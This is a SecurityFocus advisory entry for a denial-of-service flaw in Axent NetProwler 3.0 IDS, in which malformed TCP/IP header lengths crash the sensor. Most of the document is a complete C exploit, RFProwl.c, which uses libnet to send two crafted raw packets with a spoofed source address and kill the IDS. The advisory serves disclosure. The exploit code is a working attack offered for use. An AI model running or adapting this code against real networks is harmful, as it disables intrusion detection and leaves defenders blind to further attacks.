source: http://www.securityfocus.com/bid/1225/info

Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH

According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.

In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:

http://www.securityfocus.com/bid/286 

/* 	RFProwl.c - rain forest puppy / wiretrip / [email protected]
	
	Kills NetProwler IDS version 3.0
	
	You need libnet installed.  It's available from
	www.packetfactory.net.  Acks to route.

	Only tested on RH 6.x Linux.  To compile:
	gcc RFProwl.c -lnet -o RFProwl			

	Plus, make sure your architecture is defined below:   */

#define LIBNET_LIL_ENDIAN 1
#undef  LIBNET_BIG_ENDIAN 1

#include <libnet.h>

/* it's just much easier to code in the packet frags we want. :) */

char pack1[]="\x45\x00"
"\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char pack2[]="\x45\x00"
"\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"
"\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";

int main(int argc, char **argv) {
    int sock, c;
    u_long src_ip, dst_ip;

    printf("RFProwl - rain forest puppy / wiretrip\n");

    if(argc<3){
      printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");
      exit(EXIT_FAILURE);}

    dst_ip=inet_addr(argv[1]);
    src_ip=inet_addr(argv[2]);

    memcpy(pack1+16,&dst_ip,4);
    memcpy(pack2+16,&dst_ip,4);
    memcpy(pack1+12,&src_ip,4);
    memcpy(pack1+12,&src_ip,4);

    sock = open_raw_sock(IPPROTO_RAW);
    if (sock == -1){
      perror("Socket problems: ");
      exit(EXIT_FAILURE);}
    
    c = write_ip(sock, pack1, 46);
    if (c < 46) printf("Write_ip #1 choked\n");

    c = write_ip(sock, pack2, 46);
    if (c < 46) printf("Write_ip #2 choked\n");
  
    printf("Packets sent\n");

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);}